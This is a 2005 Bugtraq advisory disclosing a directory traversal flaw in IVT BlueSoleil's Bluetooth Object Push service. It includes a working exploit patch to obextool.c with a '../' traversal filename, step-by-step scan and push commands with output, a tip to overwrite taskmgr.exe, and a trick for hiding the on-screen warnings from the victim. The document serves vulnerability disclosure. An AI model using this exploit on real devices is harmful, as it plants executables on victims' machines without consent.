[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: DMA[2005-0401a] - 'IVT BlueSoleil Directory Transversal'
From: "KF (Lists)" <kf_lists () digitalmunition ! com>
Date: 2005-04-01 5:39:14
Message-ID: 424CDE82.9000303 () digitalmunition ! com
[Download RAW message or body]
["DMA[2005-0401a].txt" (text/plain)]
DMA[2005-0401a] - 'IVT BlueSoleil Directory Transversal'
Author: Kevin Finisterre
Vendor: http://www.bluesoleil.com/products/index.asp, http://www.ivtcorporation.com/
Product: 'IVT BlueSoleil 1.4'
References: http://www.digitalmunition.com/DMA[2005-0103a].txt
Description:
90% of the USB Bluetooth dongles you find on the market will come with drivers from
Widcomm. Out of the 7 dongles I own only one does not use some flavor of Widcomm. My
SMC Networks SMC-BT10 came with IVT BlueSoleil 1.4 software.
BlueSoleil for Windows is a set of Bluetooth Application Profiles implemented on the
Windows platform. BlueSoleil is fully compliant with the Bluetooth SIG's latest
specifications. It can enable PCs to form networks and exchange information wirelessly.
It can also provide PC's a fast and reliable solution for effortless wireless connections
to mobile phones, headsets, PDA's, Access Points, Printers, Digital Cameras, PC peripherals,
etc. BlueSoleil supports more than ten Bluetooth chip-sets and different HCI interfaces
which include USB, UART, PCMCIA and Compact Flash.
My BlueSoleil install was performed on a Windows XP SP2 machine using the above mentioned
SMC-BT10. I chose all program defaults during the install. Upon rebooting my machine the
"Welcome to Bluetooth" screen was displayed and I was asked for a device name and type. I
was told that my security level was set to 'Medium' and that other devices must provide a
Bluetooth passkey before connecting with my computer. I was given the option to disable this
security authentication by simply unchecking a box and clicking ok to continue. My PDA can
be pickey about using a pass key so I did go with 'Low' security. The BlueSoleil website
mentioned that 'some old dongles my not support some operations' when dealing with using the
key functions. This behavior could obviously prompt other users to set security to 'Low'.
Regardless of the security setting you should know that it is possible for an attacker to
take advantage of at least one vulnerability in the IVT software. All of my testing was done
on Version PTP-1.4.9-Win2k/XP-04.08.27 with Stack Version 04.03.11.20040827. I can not vouch
for the behavior of any other versions of BlueSoleil. Even connections that make use of
pins are vulnerable.
By default the Object Push Service is Auto-started when BlueSoleil is opened. Any files that
are pushed to the device should show up in which ever directory the user specified during
configuration. The default is C:\Documents and Settings\<username>\My Documents\Bluetooth\inbox
In order to exploit this issue all we need is a modified obextool.c from ussp-push-0.2:
@@ -316,7 +316,7 @@
}
filename = argv[1];
- alias = basename(filename);
+ alias = "../../../../../../../../mal.exe";
str2ba(argv[2], &bdaddr);
channel = (argc > 3) ? atoi(argv[3]) : 10;
You obviously need a working bluetooth dongle on your machine. First scan for a device that
*may* be running BlueSoleil. Archiving a list of known dongles that come with the install media
would obviously be a good idea for future attacks. In the example below the machine 'jdam' is
attacking 'threat-win32'.
Scan for the machine.
jdam:~# hcitool scan
Scanning ...
00:11:B1:07:BE:A7 threat-win32
Verify that the Object Push service exists.
jdam:/tmp/ussp-push-0.2# sdptool search OPUSH 00:11:B1:07:BE:A7
Inquiring ...
Searching for OPUSH on 00:11:B1:07:BE:A7 ...
Service Name: OPP Server
Service RecHandle: 0x10005
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 4
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100
Break out your modified obextool binary. Make use of the Channel listed in the
sdptool output.
jdam:/tmp/ussp-push-0.2# ./obextool
Bluetooth OBEX tool
Usage:
obextool [options] <command>
Options:
-i [hciX|bdaddr] Local HCI device or BD Address
-h, --help Display help
Commands:
push <file> <bdaddr> [channel] Push a file
Pick your binary and send away!
jdam:/tmp/ussp-push-0.2# ./obextool push calc.exe 00:11:B1:07:BE:A7 4
Sending object ...
For about 10 seconds the following messages are visible on the screen of the attacked
device. The window only stores 3 messages however so its really easy to make them scroll
by with some fake business card requests.
* Remote device (00:20:E0:4C:CF:DF) has connected to my Object Push service!
* An object ../../../../../../../mal.exe is received.
* Remove Device (00:20:E0:4C:CF:DF) has disconnected from my Object Push service!
jdam:/tmp/bt-tools# ~/qobexclient -t bluetooth -d 00:11:B1:07:BE:A7 -g anything.vcf
* Remote device (00:20:E0:4C:CF:DF) has connected to my Object Push service!
* Your Business card is sent on remote user's request.
* Remove Device (00:20:E0:4C:CF:DF) has disconnected from my Object Push service!
After the attack rather than being bound to the Bluetooth\inbox directory the binary is
placed pretty much anywhere on the filesystem we want it.
C:\>dir mal.exe
Volume in drive C has no label.
Volume Serial Number is F888-ED9A
Directory of C:\
07/01/2005 09:28 PM 114,688 mal.exe
1 File(s) 114,688 bytes
0 Dir(s) 38,813,556,736 bytes free
Plenty of other variations are available and some may depend on the user that is logged into
the system.
You can obviously be creative and use anything that you think the either user or system may run.
alias = "../../../../../../../WINDOWS/System32/taskmgr.exe"; works real well. Especially
if the user misses the really obvious message on their console because you made it scroll by.
Paranoid users tend to break out Task Manager pretty quick when something sketchy happens. Then
again perhaps a paranoid user would not have his bluetooth wide open?
I attempted to test IVT BlueSoleil for WinCE however it would not run on my device so I can
not verify the bahavior there.
I contacted the BlueSoleil staff multiple times after our initial exchange and for some reason
all attempts at contact resulted in zero answer. The initial response was so prompt I was
surprised no one attempted to contact me further after multiple attempts on my part.
<rant>
Due to the fact that Bluetooth vendors are acting weird right now I don't even feel like
playing the typical game that goes on in the disclosure process. A perfect example of this
'weirdness' can be found with Widcomm / Broadcomm and the issues that pentest_co_uk partially
disclosed last year. 90% of the bluetooth dongles you can buy in the store are vulnerable to attack
and the end user is totally the dark about it. Beacause of half assed disclosure and most likely
some political BS I would estimate that LOADS of Bluetooth devices can be attacked. Good luck
getting a software update for your Widcomm product, although new drivers are available the license.dat
will give your dongle NO love. Some folks have even gone to the extreme of patching Widcomms licensing
software just so they could use an update, they were however quickly smacked down:
http://www.wifi-forum.com/wf/archive/index.php/t-6631.html
Both version 3 (the one supposed to patch pentest_co_uk's issues) and version 4 are out but chances
are you are still vulnerable because you can't install the software. I hear you can bitch at some
vendors enough that they will send you a new dongle that is licensed for newer software. I also hear
i its about like pulling teeth. Have you got a PDA? heh good luck. hrmm what was that line again,
'...(we) recommend that end users stop using the vulnerable WIDCOMM Bluetooth software'. Alternately
users can 'set their Bluetooth device configuration to be non-discoverable or hidden.'. Please note
however 'This will not stop the device from being vulnerable but it may limit the exposure.'
If you use Bluetooth try to educate yourself about the software you are using and hound your vendor
for patches!
</rant>
All your Bluetooth are belong to greenplaque.
Timeline associated with this bug:
03/24/2005 prompt and immediate response from support@bluesoleil.com inquiring about the bug
03/24/2005 Object Push vulnerability disclosed to BlueSoleil Support with request for follow up.
03/28/2005 Request for an update and vendor confirmation of the bug.
03/29/2005 Secondary ping for an update... surprised I did not get the same prompt response.
03/30/2005 Final ping and attempt to make sure the bug was understood by BlueSoleil staff.
03/31/2005 Message indicating disclosure based on lack of communication surrounding the issue.
Workaround:
'...(we) recommend that end users stop using the vulnerable BLUESOLEIL Bluetooth software'. Alternately
users can 'set their Bluetooth device configuration to be non-discoverable or hidden.'. Please note
however 'This will not stop the device from being vulnerable but it may limit the exposure.'
Short of the prompt response I got on the first day NO other attempts at communication were made
by BlueSoleil staff.
Other vendors are affected by similar issues and future advisories will be released.
-KF
["obextool.patch" (text/x-patch)]
@@ -316,7 +316,7 @@
}
filename = argv[1];
- alias = basename(filename);
+ alias = "../../../../../../../../mal.exe";
str2ba(argv[2], &bdaddr);
channel = (argc > 3) ? atoi(argv[3]) : 10;
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic